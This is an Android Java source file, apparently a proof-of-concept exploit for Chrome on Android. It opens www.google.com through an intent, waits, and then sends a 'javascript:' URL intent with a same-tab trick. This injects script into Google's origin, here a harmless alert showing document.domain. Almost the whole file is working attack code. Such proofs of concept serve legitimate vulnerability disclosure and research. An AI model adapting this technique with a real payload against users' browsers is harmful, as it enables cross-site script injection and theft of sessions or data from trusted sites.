package jp.mbsd.terada.attackchrome1;
|
|
import android.app.Activity;
|
import android.os.Bundle;
|
import android.content.Intent;
|
import android.net.Uri;
|
|
public class Main extends Activity {
|
@Override
|
public void onCreate(Bundle savedInstanceState) {
|
super.onCreate(savedInstanceState);
|
doit();
|
}
|
|
public void doit() {
|
try {
|
// Firstly, force chrome app to open a target Web page
|
Intent intent1 = getIntentForChrome("http://www.google.com/1");
|
startActivity(intent1);
|
|
// Wait a few seconds
|
Thread.sleep(5000);
|
|
// JS code to inject into the target (www.google.com)
|
String jsURL = "javascript:alert('domain='+document.domain)";
|
|
Intent intent2 = getIntentForChrome(jsURL);
|
|
// Need a trick to prevent Chrome from loading the new URL in a new tab
|
intent2.putExtra("com.android.browser.application_id", "com.android.chrome");
|
|
startActivity(intent2);
|
}
|
catch (Exception e) {}
|
}
|
|
// Get intent to invoke chrome app
|
public Intent getIntentForChrome(String url) {
|
Intent intent = new Intent("android.intent.action.VIEW");
|
intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
|
intent.setData(Uri.parse(url));
|
return intent;
|
}
|
}
|